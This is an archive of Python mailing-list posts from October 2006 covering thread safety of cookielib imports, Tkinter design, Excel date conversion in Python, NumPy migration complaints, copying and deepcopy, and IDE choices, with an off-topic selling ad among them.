* I have no real explanation why the import of a module like cookielib is not thread-safe. And in no way I can really explain the real OS-level crashes on dual cores/fast CPU's. Python may throw this and that, Python variable states maybe wrong, but how can it crash on OS-level when no extension libs are (hopefully) responsible?
* The Import Lock should be a very hard lock: As soon as any thread imports something, all other threads are guaranteed to be out of any imports. A dead lock is not the problem here.
* cookielib module execution code consists only of definitions and of re.compile's. re.compile's should be thread safe?
* the things in my code patter are function local code except "opener = urlcookie_openers.get(user)" and "urlcookie_openers[user] = opener" : Simple dictionary accesses which are atomic from all my knowledge and experience. I think, I have thought about enough, what could be not thread safe. The only questionable things have to do with rare change of some globals, but this has  not at all to do with the severe problems here and could only affect e.g wrong url2_proxy or double/unecessary re-creation of an opener, which is uncritical in my app.


I'm still puzzled and suspect there is a major problem in Python, maybe in win32ui or - no idea ... ?


-robert

==================================================================================
def f():
           ...
           opener = urlcookie_openers.get(user)
           if not opener:
               import cookielib                        #<----1
               cj=cookielib.CookieJar()                #<----2                 build_opener = urllib2.build_opener
               httpCookieProcessor = urllib2.HTTPCookieProcessor(cj)
               if url2_proxy:
                   opener = build_opener(url2_proxy,httpCookieProcessor)
               else:
                   opener = build_opener(httpCookieProcessor)
               opener.addheaders   #$pycheck_no
               opener.addheaders= app_addheaders
               urlcookie_openers[user] = opener
           ufile = opener.open(urllib2.Request(url,data,dict(headers)))
           ...


thread.start_new(f,()) 


From ericlake at gmail.com  Thu Oct 19 14:43:03 2006
From: ericlake at gmail.com (elake)
Date: 19 Oct 2006 11:43:03 -0700
Subject: Calling a definition
Message-ID: <1161283383.663046.234850@k70g2000cwa.googlegroups.com>

I have a piece of code that I need some help with. It is supposed (in
my mind at least) take two arguments, a start path and a file
extension. Then when called it should return each of the file paths
that are found matching the criteria. It is only returning the first
file that it finds. What am I doing wrong?

# this is in a file called findFile.py
def findFileExt(startPath, fileExt):
    for root, dirs, files in os.walk(startPath):
        for file in files:
            if file.endswith(fileExt):
                filePath = str(os.path.join(root, file))
                return filePath

# this part is in a different file calling the findFile module
ip_list = findFile.getIpRange(net, start, end)

for ip in ip_list:
    src_path = '\\\\%s\\%s\\' % (ip, start_dir)
    files = findFile.findFileExt(src_path, ext)
    print files



From chris.cavalaria at free.fr  Wed Oct 25 05:04:57 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Wed, 25 Oct 2006 11:04:57 +0200
Subject: python GUIs comparison (want)
In-Reply-To: <mailman.1154.1161764419.11739.python-list@python.org>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>	<453E3370.9060008@kevin-walzer.com>	<453e3c5a$0$23254$426a74cc@news.free.fr>	<mailman.1094.1161707865.11739.python-list@python.org>	<453f18a6$0$21544$426a74cc@news.free.fr>
	<mailman.1154.1161764419.11739.python-list@python.org>
Message-ID: <453f28b7$0$23797$426a74cc@news.free.fr>

Fredrik Lundh a ?crit :
> Christophe wrote:
> 
>>>> Also, the Tkinter API is far less elegant than the others.
>>> huh?  create object, display object, create object, display object. 
>>> sure looks like plain old Python to me...
>>
>> Let's see :
>>
>> .pack(side = "left")
----
>> fred = Button(self, fg = "red", bg = "blue")
>> fred["fg"] = "red"
----
>> fred.bind("<Enter>", turnRed)
----
>> Yep, unelegant API I mantain 
> 
> yuck.  if that's the kind of UI programs you're writing, we sure have 
> different design ideals.
Those are all small code examples you find in the Python manual! They 
are not a working program in itself and should not be taken so. I just 
state my point about an ugly API with them.

> and arguing that Tkinter is unelegant when you're doing silly things in 
> a silly way is a bit like arguing that Python is unelegant because your 
> first attempt to write a "hello world" program resulted in:
> 
>      import sys
>      # .stdout.write("Hello World") # gives unusable error message
>      from sys import stdout as glah
>      glah.writelines(iter(" ".join(["h3110", "W0rlD"])))
> 
>> And no modern layout manager available. Only those old school 
>> left/right/up/down pack and anchors are available.
> 
> huh?  when did you last look at Tk?  1994?
Yesterday. In fact, I could find no mention at all of layout managers 
others than those working with anchors. Anchors are soooo old school 
nowadays :)

Honestly, I can't stand using anchors or the Packer anymore. The systems 
used in wx, Qt are much better. Use them once and you cannot live 
without them anymore.


From neoedmund at gmail.com  Thu Oct 12 01:55:23 2006
From: neoedmund at gmail.com (neoedmund)
Date: 11 Oct 2006 22:55:23 -0700
Subject: hundreds of seconds?
In-Reply-To: <1160577496.366622.310080@i3g2000cwc.googlegroups.com>
References: <1160577496.366622.310080@i3g2000cwc.googlegroups.com>
Message-ID: <1160632523.093618.153100@m73g2000cwd.googlegroups.com>


python's time is as old as glibc's time(). A more clear interface as
Java should be implements! though i'm not has the ability to do this.
maybe some "volenties" could do out the favor.


On Oct 11, 10:38 pm, eur.van.an... at gmail.com wrote:
> Hi all
>
> How can I access partial seconds on the system clock?
>
> I measure air speed and water flow in a heat-exchanger test stand and
> count pulses from both water meter and air speed meter. I divide the
> amount of these counts over a certain interval with the time of that
> interval. Since I only have seconds, I need to wait 100 seconds for may
> calculation is I want a precision of 1%.
>
> The radiator fan that I use can't stand these long intervals, 'cause I
> run it with 24V and 50 Amps to get decent airflow (10m/s) through my
> heat exchanger.
>
> Again: how do I get the hundreds of seconds from the system clock?
>
> In Pascal it was:  GetTime( Hr1, Min1, Sec1, cSec1);  (yes, I'm that
> old).
>
> ---
> ir EE van Andel e... at fiwihex.nlwww.fiwihex.nl
> Fiwihex B.V. Wierdensestraat 74, NL7604BK Almelo, Netherlands
> tel+31-546-491106 fax+31-546-491107



From Roka100 at gmail.com  Tue Oct  3 23:54:29 2006
From: Roka100 at gmail.com (Jia,Lu)
Date: 3 Oct 2006 20:54:29 -0700
Subject: How to get keyboard event in Linux console?
Message-ID: <1159934069.847446.97150@i3g2000cwc.googlegroups.com>

Hi all,
  I want to deal keyboard event in Linux console.
  Example: I Create a deamon at background and when I press F1 key then
print Hello at Console.

  Can python do it? with which module?

  Thanks.



From daigno at gmail.com  Mon Oct 23 16:56:01 2006
From: daigno at gmail.com (=?ISO-8859-1?Q?=C9ric_Daigneault_lists?=)
Date: Mon, 23 Oct 2006 16:56:01 -0400
Subject: python class instantiation
Message-ID: <453D2C61.7000800@useReplyTo.hotmail.com>

Got a question for you all...

I noticed a behaviour in python class creation that is strange, to say 
the least.

When creating a class with data members but no __init__ method.  Python 
deals differently with data members that are muatable and immutables.

Ex:
class A(object):
    stringData = "Whatever"
    listData = []

instance = A()

Will have data members instantiated as expected (instance.stringData == 
"Whatever" and instance.listData == [])

instance.listData.append("SomeString")
instance.stringData = "Changed"

Now if I do

secondInstance = A()

it will come with the listData containing the SomeString appended to the 
instance...

this is clearly not normal

Especially that the stringData of Second instance contains the 
"Whatever" text.  If the behaviour was at least consistant...  but it is 
not...

Am I coing nuts or is this by desing, if so it is very misleading...  
The two instances are sharing the same list, but not the same string 
...  I did not declare the list to be static in any way....  Why does it 
behave like this ?

?ric


From jgodoy at gmail.com  Sun Oct 15 17:30:17 2006
From: jgodoy at gmail.com (Jorge Godoy)
Date: Sun, 15 Oct 2006 19:30:17 -0200
Subject: IDE that uses an external editor?
References: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<17713.9709.575464.630058@montanaro.dyndns.org>
	<20061014212050.C3F7.SLAWOMIR.NOWACZYK.847@student.lu.se>
	<624934630610151434t5bb8b9f8l6572f26a69c08b54@mail.gmail.com>
	<mailman.547.1160948753.11739.python-list@python.org>
Message-ID: <87veml468m.fsf@gmail.com>

skip at pobox.com writes:

>     >> #> I realize I can do a lot within Emacs/XEmacs, but I suspect with a
>     >> #> tool like Eclipse I could do more. However, I don't want to give
>     >> #> up the text editing power of Emacs to get it.
>     ...
>     Ramon> I've tried using Eclipse several times, because several good
>     Ramon> meaning people told me things like "you coud do more". 
>
> My observation about Eclipse comes simply from watching one of the other
> developers at work use it.  I'd like to give it a try, but not at the
> expense of giving up Emacs.

Eclipse: just a GUI over a subset of Emacs today.

One day, when it evolves, it will be something interesting...  I won't give up
on Emacs loading fast and allowing me to work remotely for something that
makes the machine crawl and requires almost all of the RAM I have.

-- 
Jorge Godoy      <jgodoy at gmail.com>


From nicola.musatti at gmail.com  Fri Oct 20 04:29:04 2006
From: nicola.musatti at gmail.com (Nicola Musatti)
Date: 20 Oct 2006 01:29:04 -0700
Subject: Lead Software Engineer
In-Reply-To: <bQWZg.21710$7I1.4705@newssvr27.news.prodigy.net>
References: <1161295580.670392.26500@k70g2000cwa.googlegroups.com>
	<1161301345.261642.247810@b28g2000cwb.googlegroups.com>
	<bQWZg.21710$7I1.4705@newssvr27.news.prodigy.net>
Message-ID: <1161332943.033311.182940@i3g2000cwc.googlegroups.com>


James Stroud wrote:
> alex23 wrote:
> > Emma wrote:
> >
> >>5. Please provide us with a comparison of the following music discovery
> >>
> >>sites:
> >>
> >>http://www.blogmusik.net
> >>http://www.seeqpod.com/music
> >>http://www.finetune.com
> >>http://www.webjay.com
> >>
> >>For each of these we like to know:
> >>A) What you like and dislike about each of these.
> >>B) Which one you like the best.
> >>C) Which one you think others might like the best.
> >>D) How you would improve the one you like.
> >
> >
> > There _are_ no jobs on offer here. This is just a cheap attempt at
> > getting free survey data.
> >
> > - alex23
> >
>
> They would get more data if they lowered their expectations for the
> programmer position.

They would get even more data if they specified where to reply...

Unless this is an incredibly lame attempt to increase those sites'
traffic.

Cheers,
Nicola Musatti



From jjl at pobox.com  Mon Oct  9 18:32:31 2006
From: jjl at pobox.com (John J. Lee)
Date: Mon, 09 Oct 2006 22:32:31 GMT
Subject: People's names (was Re: sqlite3 error)
References: <JnzSg.36$1n3.471@news.tufts.edu>
	<1159394058.945948.119410@h48g2000cwc.googlegroups.com>
	<yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<mailman.49.1160301761.11739.python-list@python.org>
Message-ID: <87wt79i0hs.fsf@pobox.com>

Steve Holden <steve at holdenweb.com> writes:
[...]
> > There would also need to be a flag field to indicate the canonical
> > ordering
> > for writing out the full name: e.g. family-name-first, given-names-first.
> > Do we need something else for the Vietnamese case?
> 
> You'd think some standards body would have worked on this, wouldn't
> you. I couldn't think of a Google search string that would lead to
> such information, though. Maybe other, more determined, readers can do
> better.

I suppose very few projects actually deal with more than a handful of
languages or cultures, but it does surprise me how hard it is to find
out about this kind of thing -- especially given that open source
projects often end up with all kinds of weird and wonderful localised
versions.

On a project that involved 9 localisations, just trying to find
information on the web about standard collation of diacritics
(accented characters) in English, German, and Scandinavian languages
was more difficult than I'd expected.  And I'm glad I was incompetent
to deal with the Japanese collation :-)

I found this useful list of things to worry about, though, which does
say a little about personal names, though not in detail (and provides
some useful Googling terms for somebody determined):

http://developers.sun.com/dev/gadc/des_dev/i18ntaxonomy/i18n_taxonomy.pdf


which I found from this page:

http://www.i18nguy.com/guidelines.html


John


From Leo.Kislov at gmail.com  Mon Oct 30 04:27:07 2006
From: Leo.Kislov at gmail.com (Leo Kislov)
Date: 30 Oct 2006 01:27:07 -0800
Subject: Lookuperror : unknown encoding : utf-8
References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>
	<1162194168.044962.262720@b28g2000cwb.googlegroups.com>
	<1162196598.260229.224100@e3g2000cwe.googlegroups.com>
	<mailman.1471.1162196999.11739.python-list@python.org>
	<1162197440.574405.195010@m7g2000cwm.googlegroups.com>
	<1162198497.288698.244940@k70g2000cwa.googlegroups.com>
	<1162199750.797149.317970@m7g2000cwm.googlegroups.com>
Message-ID: <1162200427.209299.4920@m73g2000cwd.googlegroups.com>


Sachin Punjabi wrote:
> I installed it again but it makes no difference. It still throws me
> error for LookUp Error: unknown encoding : utf-8.

Most likely you're not using the new python, you're still running old
one. 

  -- Leo



From ilias at lazaridis.com  Wed Oct  4 22:36:17 2006
From: ilias at lazaridis.com (Ilias Lazaridis)
Date: 4 Oct 2006 19:36:17 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <mailman.1142.1159864915.10491.python-list@python.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<mailman.1142.1159864915.10491.python-list@python.org>
Message-ID: <1160015777.559435.247320@b28g2000cwb.googlegroups.com>

Robert Kern wrote:
> Giovanni Bajo wrote:
> > Hello,
> >
> > I just read this mail by Brett Cannon:
> > http://mail.python.org/pipermail/python-dev/2006-October/069139.html
> > where the "PSF infrastracture committee", after weeks of evaluation, recommends
> > using a non open source tracker (called JIRA - never heard before of course)
> > for Python itself.
> >
> > Does this smell "Bitkeeper fiasco" to anyone else than me?
>
> No.

?? how do you know the answer??

anyway.

-

I don't think that a non-open-source system will be selected by the
responsible people.

Most possibly, they are aware about the basic requirements of an
infrastructure - which is control:

http://case.lazaridis.com/wiki/Host

.



From cameron.walsh at gmail.com  Tue Oct 10 21:24:35 2006
From: cameron.walsh at gmail.com (Cameron Walsh)
Date: Wed, 11 Oct 2006 09:24:35 +0800
Subject: How to share session with IE
In-Reply-To: <eghgnf$l1k$1@enyo.uwa.edu.au>
References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com>	<1160480177.704013.37770@k70g2000cwa.googlegroups.com>
	<mailman.231.1160501856.11739.python-list@python.org>
	<eghgnf$l1k$1@enyo.uwa.edu.au>
Message-ID: <eghh3f$leh$1@enyo.uwa.edu.au>

I just thought, your original question was whether or not it was 
possible to share your browser session with IE.  Unless you do this 
explicitly, you may require a different login for your Python program 
and for your IE user.  If the Python program does not get the same 
cookie as used by IE, or vice-versa, and tries to login, you may find 
this resets the login in the other browser.

Oh and at risk of starting a flame war <a href="www.getfirefox.com" 
reason="obligatory pro open source link">get a real browser.</a>


From gagsl-py at yahoo.com.ar  Wed Oct 25 20:42:12 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 25 Oct 2006 21:42:12 -0300
Subject: What's the best IDE?
In-Reply-To: <1161822032.211125.272160@h48g2000cwc.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
Message-ID: <7.0.1.0.0.20061025213407.05f188e8@yahoo.com.ar>

At Wednesday 25/10/2006 21:20, Hakusa at gmail.com wrote:

>After researching Komodo, I found it's not free. The only funds I have
>are a college fund, and I can't start diping into that until I'm going
>to college. Any free AND good IDEs?

There is a list at http://wiki.python.org/moin/PythonEditors
Or use Google Groups to search this group for "best IDE" - once a 
month someone comes and ask that same question again and again so 
you'll find plenty of responses...


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From http  Thu Oct 19 12:09:49 2006
From: http (Paul Rubin)
Date: 19 Oct 2006 09:09:49 -0700
Subject: invert or reverse a string... warning this is a rant
References: <eh8708$nc7$1@solaris.cc.vt.edu>
Message-ID: <7x7iyw70du.fsf@ruckus.brouhaha.com>

rick <ath-admin at vt.edu> writes:
> Why can't Python have a reverse() function/method like Ruby?
> 
> Python:
> x = 'a_string'
> # Reverse the string
> print x[::-1]
> 
> The Ruby approach makes sense to me as a human being. The Python
> approach is not easy for me (as a human being) to remember. Can that
> be changed or should I just start blindly memorizing this stuff?

You could use:

   print ''.join(reversed(x))

That also looks a little bit weird, but it combines well-known Python
idioms straightforwardly.


From p.lavarre at ieee.org  Wed Oct 25 18:56:13 2006
From: p.lavarre at ieee.org (p.lavarre at ieee.org)
Date: 25 Oct 2006 15:56:13 -0700
Subject: FAQ - How do I declare that a CTypes function returns unsigned char?
Message-ID: <1161816973.061218.170840@i3g2000cwc.googlegroups.com>

Now at http://pyfaq.infogami.com/suggest we have:

FAQ: How do I declare that a CTypes function returns unsigned char?

A: c_uchar = ctypes.c_ubyte

This irregularity actually is doc'ed, it's just pointlessly annoying.

Hope this helps (and of course I trust you'll dispute if I'm nuts),



From houdinihound at yahoo.com  Thu Oct  5 15:49:53 2006
From: houdinihound at yahoo.com (houdinihound at yahoo.com)
Date: 5 Oct 2006 12:49:53 -0700
Subject: How do I read Excel file in Python?
References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com>
	<1160061718.605057.243590@h48g2000cwc.googlegroups.com>
	<1160067650.709670.71460@e3g2000cwe.googlegroups.com>
	<1160069137.525290.90000@m73g2000cwd.googlegroups.com>
	<8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com>
	<mailman.1380.1160076037.10491.python-list@python.org>
Message-ID: <1160077793.218033.108840@m73g2000cwd.googlegroups.com>

> > >>> excel_date = 38938.0
> > >>> python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date)
> > >>> python_date
> > datetime.date(2006, 8, 11)
>
> Err, that's the wrong answer, isn't it? Perhaps it shoud be
> datetime.date(1900, 1, 29)?

Actually was about to post same solution and got same results. (BTW
Simon, the OP date is Aug 9th, 2006).  Scratched head and googled for
excel date calculations... found this bug where it treats 1900 as leap
year incorrectly:
http://www.ozgrid.com/Excel/ExcelDateandTimes.htm

Plus it treats 1 jan 1900 as day 1, not 0 so just subtract 2 in the
calc:
>>>python_date = datetime.date(1900, 1, 1) + datetime.timedelta(days=excel_date - 2)
>>> python_date
datetime.date(2006, 8, 9)

HTH.



From david at boddie.org.uk  Sat Oct 28 09:13:45 2006
From: david at boddie.org.uk (David Boddie)
Date: Sat, 28 Oct 2006 15:13:45 +0200
Subject: PyQt-x11-gpl-3.16 compile error
References: <1161952403.534113.59630@f16g2000cwb.googlegroups.com>
	<1161960442.301226.261210@f16g2000cwb.googlegroups.com>
	<1162010568.002207.56140@b28g2000cwb.googlegroups.com>
Message-ID: <14d84$4543578a$54d1d767$18222@news.chello.no>

On Saturday 28 October 2006 06:42, baur79 at gmail.com wrote:

> here is th output :
> 
> [root at localhost PyQt-x11-gpl-3.16]# python configure.py -q
> /usr/lib/qt-3.3/ -w

[...]

> Checking to see if the qtcanvas module should be built...
> /usr/bin/ld: cannot find -lXext
> collect2: ld returned 1 exit status
> Checking to see if the qtnetwork module should be built...
> /usr/bin/ld: cannot find -lXext
> collect2: ld returned 1 exit status
> Checking to see if the qttable module should be built...
> /usr/bin/ld: cannot find -lXext
> collect2: ld returned 1 exit status
> Checking to see if the qtxml module should be built...
> /usr/bin/ld: cannot find -lXext
> collect2: ld returned 1 exit status
> Checking to see if the qtgl module should be built...
> In file included from cfgtest.cpp:1:
> /usr/lib/qt-3.3/include/qgl.h:79:20: error: GL/gl.h: No such file or
> directory
> /usr/lib/qt-3.3/include/qgl.h:80:21: error: GL/glu.h: No such file or
> directory
> Checking to see if the qtui module should be built...
> /usr/bin/ld: cannot find -lXext
> collect2: ld returned 1 exit status
> Checking to see if the qtsql module should be built...
> /usr/bin/ld: cannot find -lXext
> collect2: ld returned 1 exit status
> Checking to see if the QAssistantClient class is available...
> /usr/bin/ld: cannot find -lmng
> collect2: ld returned 1 exit status
> Creating features file...
> /usr/bin/ld: cannot find -lXext
> collect2: ld returned 1 exit status
> Error: Unable to build mkfeatures utility.

OK. It looks like the directory you specified using the -q option
isn't the one you need. You haven't said whether you installed Qt from
source, or whether it was installed with the rest of your Linux
distribution.

If you need to use the -q option (if the script doesn't work without
it), try using /usr/share/qt3 - this works for Debian-based
distributions, and may also work for other distributions.

David


From fulvio at tm.net.my  Fri Oct 27 10:36:05 2006
From: fulvio at tm.net.my (Fulvio)
Date: Fri, 27 Oct 2006 22:36:05 +0800
Subject: Tracing the execution of scripts?
In-Reply-To: <wihfydads0p.fsf@panix3.panix.com>
References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>
	<wihfydads0p.fsf@panix3.panix.com>
Message-ID: <200610272236.05223.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Friday 27 October 2006 17:31, R. Bernstein wrote:
> pydb (http://bashdb.sf.net/pydb) has a both the ability to trace lines

I faced several time that pydb stuck without sign of errors. In the other hand 
Pdb doesn't appear that problem.
Mostly pydb freeze on long loops.
It might be some problem on my setup, I'll check it up...

F



From operagasten at gmail.com  Mon Oct  9 12:52:19 2006
From: operagasten at gmail.com (Gasten)
Date: 9 Oct 2006 09:52:19 -0700
Subject: A curses-game I need help with.
In-Reply-To: <1160302875.055414.148350@m7g2000cwm.googlegroups.com>
References: <1160302875.055414.148350@m7g2000cwm.googlegroups.com>
Message-ID: <1160412739.247683.218620@k70g2000cwa.googlegroups.com>

Hi. I would like to know why no one have answered my post
http://groups.google.com/group/comp.lang.python/browse_thread/thread/8424904058bd1734
.
It were my first post here (and on the Usenet overall), so I would like
to know what I did wrong. Too?many spellingmisstakes? Shitty code? No
one understands? No one got the answer? Should I wait a little longer?
Thank you.



From MonkeeSage at gmail.com  Sun Oct  1 20:14:07 2006
From: MonkeeSage at gmail.com (MonkeeSage)
Date: 1 Oct 2006 17:14:07 -0700
Subject: builtin regular expressions?
References: <451e37a5$1@news.vo.lu><efm04n$lb3$1@mlucom4.urz.uni-halle.de>
	<mailman.1003.1159631137.10491.python-list@python.org>
	<MPG.1f88cf81c13811a398968d@news.individual.de>
	<slrnehuuq6.gim.grahn+nntp@frailea.sa.invalid>
	<451fe857$0$14043$edfadb0f@dread15.news.tele.dk>
Message-ID: <1159748047.607967.98170@m7g2000cwm.googlegroups.com>

Max M wrote:
> When I used to program in Perl I used regex' for lots of stuff. In
> python I probably use them once every half year. I sinply do not need them.

I think you can pretty much do it either way without any big benefits /
losses. There are edge-cases that will break a praser just like there
are ones that will break a regexp. In perl5 you can slice strings ( my
$s="Cat in a tree"; ${s:0:3} == 'Cat' ) and other things like that, but
I seldom see those used except for very trivial cases (i.e., the
seeming reverse of the python practice). But this hasn't caused some
kind of huge epidemic of non-working programs / libraries in the perl
world. If you understand how to use regexps and they are easier for
you, there is no reason not to use them. On the other hand, if they
make it harder for you, don't use them.

Regards,
Jordan



From greg.landrum at gmail.com  Wed Oct  4 01:44:30 2006
From: greg.landrum at gmail.com (greg.landrum at gmail.com)
Date: 3 Oct 2006 22:44:30 -0700
Subject: switching to numpy and failing, a user story
Message-ID: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>

After using numeric for almost ten years, I decided to attempt to
switch a large codebase (python and C++) to using numpy. Here's are
some comments about how that went.

- The code to automatically switch python stuff over just kind of
works. But it was a 90% solution, I could do the rest by hand. Of
course, the problem is that then the code is still using the old
numeric API, so it's not a long term solution. Unfortunately, to switch
to the numpy API one needs documentation, which is a problem; see
below.

- Well, ok, the automatic switching code doesn't really work all that
well... my uses of RandomArray still work, but they generate different
numbers. The underlying random-number generator must have changed. I'm
sure that it's "better" now, but it's different. This is a major pain
for my regression tests that rely on seeding the random number
generator and getting particular results. But that's ok, I can update
the regressions for the new RNG.

- My extension modules just won't build because the new numpy stuff
lives in a different location from where Numeric used to live. I
probably could fix this, but without the documentation I can't figure
out how to do that. I'd also need to figure out how to port my code to
use the new numpy API instead of the compatibility layer, but I can't
do that without docs either.

- I guess I should just buy the documentation. I don't like this idea,
because I think it's counter-productive to the project to have payware
docs (would Python be successful if you had to buy the documentation? I
don't think so), but that's the way this project goes. I'm doubly
unhappy about it because they payment system is using Paypal and I
don't like Paypal at all, but I guess that's just the way it goes. Oh,
wait, I *can't* buy the docs because I'm not in the US and the payment
page requires a US address. I give up; I guess NumPy is only for people
living in the US.

I guess I'll come back to NumPy in 2010, when the docs are available.

-greg



From rurpy at yahoo.com  Mon Oct 16 14:06:00 2006
From: rurpy at yahoo.com (rurpy at yahoo.com)
Date: 16 Oct 2006 11:06:00 -0700
Subject: OT: What's up with the starship?
In-Reply-To: <mailman.580.1161021410.11739.python-list@python.org>
References: <mailman.419.1160722798.11739.python-list@python.org>
	<SEhYg.7681$gL.2383@southeast.rr.com>
	<1160926000.351967.8340@f16g2000cwb.googlegroups.com>
	<1160938429.707909.28360@f16g2000cwb.googlegroups.com>
	<1160947865.920162.173040@i3g2000cwc.googlegroups.com>
	<1160974552.906162.115060@k70g2000cwa.googlegroups.com>
	<1160983523.518768.16110@e3g2000cwe.googlegroups.com>
	<mailman.580.1161021410.11739.python-list@python.org>
Message-ID: <1161021960.792970.238240@m73g2000cwd.googlegroups.com>


Fredrik Lundh wrote:
> rurpy at yahoo.com wrote:
>
> > But, I am still completely at a loss why you, he, or anyone,
> > based on the information presented so far,.would conclude
> > that the python security problem is unrelated.
>
> Because he's read the security advisory, perhaps, and understands what
> it says?

Then perhaps you or he could explain it to us less intelligent
people in very simple terms?



From bjobrien62 at gmail.com  Mon Oct 30 17:44:11 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 30 Oct 2006 14:44:11 -0800
Subject: scared about refrences...
In-Reply-To: <pan.2006.10.30.22.26.42.261733@REMOVE.THIS.cybersource.com.au>
References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.19.32.25.538858@gmx.net>
	<1162242647.481298.251320@b28g2000cwb.googlegroups.com>
	<pan.2006.10.30.22.26.42.261733@REMOVE.THIS.cybersource.com.au>
Message-ID: <1162248250.994200.13450@m7g2000cwm.googlegroups.com>


Steven D'Aprano wrote:
> On Mon, 30 Oct 2006 13:10:47 -0800, SpreadTooThin wrote:
>
> >> > How do I specify or create deep copies of objects that may contain
> >> > other objects that may contain other object that may contain other
> >> > objects....
> >>
> >> See the `copy` module especially `copy.deepcopy()`.
> >>
> >
> > This appears to be the right thing to do to me.. (but what do I know?)
>
> Yes, copy.deepcopy() is the thing you want.
>
> But remember Fredrik's advice that well-designed Python code should not
> need to copy data structures often. I don't think I've ever needed to use
> deepcopy, and rarely copy.copy().
>
> In general, functions should not modify their caller's data. So this is
> bad practice:
>
> def print_list(alist):
>     """Print a sorted list"""
>     alist.sort()  # modifies the caller's data -- bad!
>     for index, value in enumerate:
>         print "Value %s at index %d" % (index, value)
>
> This is better:
>
> def print_list(alist):
>     """Print a sorted list"""
>     alist = alist[:]  # makes a local shallow copy of the list
>     alist.sort()  # safe to modify now
>     for index, value in enumerate:
>         print "Value %s at index %d" % (index, value)
>
> But notice that you only need a shallow copy, not a deep copy, because you
> aren't modifying the objects within the list, only the list itself.
>
>
>
> > I tried this which more closely resembles my project but this doesn't
> > work:
>
> Unfortunately my crystal ball is back at the shop being repaired, so
> you'll have to explain what "doesn't work" means in this case. Does it
> raise an exception? If so, please post the exception. Does it do something
> different from what you expected? Then what did you expect, and what did
> it do?
>
I seems that some of the objects in the list don't get along well with
deep copy..
See my second example post that used deepcopy... When run blows up...





> 
> -- 
> Steven.



From edreamleo at charter.net  Wed Oct  4 16:28:10 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 4 Oct 2006 15:28:10 -0500
Subject: How to ask sax for the file encoding
References: <dROUg.62$iP5.51@newsfe07.lga> <871wpokmv5.fsf@smsnet.pl>
Message-ID: <xPUUg.44$Qb6.34@newsfe02.lga>

> Try this:
[snip]
Parser.XmlDeclHandler = self.XmlDecl
[snip]

Excellent!  Thanks so much.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From rdh at new.rr.com  Fri Oct 27 10:24:54 2006
From: rdh at new.rr.com (DataSmash)
Date: 27 Oct 2006 07:24:54 -0700
Subject: Search & Replace
In-Reply-To: <mailman.1337.1161938185.11739.python-list@python.org>
References: <1161898031.481159.202310@f16g2000cwb.googlegroups.com>
	<mailman.1337.1161938185.11739.python-list@python.org>
Message-ID: <1161959094.828292.321750@i3g2000cwc.googlegroups.com>

Really appreciate all the all the different answers and learning tips!



From greg.ewing at canterbury.ac.nz  Fri Oct 20 20:33:48 2006
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Sat, 21 Oct 2006 13:33:48 +1300
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <7xac3ra6wg.fsf@ruckus.brouhaha.com>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<7xac3ra6wg.fsf@ruckus.brouhaha.com>
Message-ID: <45396AEC.7000808@canterbury.ac.nz>

Paul Rubin wrote:

> I have yet to see a gui toolkit which doesn't suck.  I'm not sure why
> that is.

Have you seen PyGUI? It's my attempt at creating
a GUI toolkit for Python that doesn't suck. I'd
be interested to know if you think I've come
anywhere near to succeeding.

http://www.cosc.canterbury.ac.nz/greg.ewing/python_gui/

--
Greg


From vilebuzz at hotmail.com  Sun Oct 22 22:40:38 2006
From: vilebuzz at hotmail.com (vilebuzz at hotmail.com)
Date: 22 Oct 2006 19:40:38 -0700
Subject: comp.lang.python, comp.sys.ibm.pc.games.rpg, comp.arch.embedded,
	comp.programming, comp.text.txt
Message-ID: <1161571237.942887.159530@m7g2000cwm.googlegroups.com>

I sell on ebay alot and I'm starting to search online to find other
options to sell computers.  What I mainly do is buy used desktops and
upgrade them w/ better/newer parts for resale.  But do to ebays
overwhelming fees racking up every month I've started to look else
where.  I have since found a site called usfreeads that I have an
account w/ thats working fairly well for me as a seller (
http://www.usfreeads.com/_electronics/?affid=18156 ) , it works similar
to ebay but as classifieds rather than auctions, so you can negotiate
with sellers on prices which helps you to get more contacts, but I'm
trying to find out where everyone else is buying/selling at other than
ebay,  any recomendations?



From python.list at tim.thechases.com  Tue Oct  3 16:43:12 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Tue, 03 Oct 2006 15:43:12 -0500
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
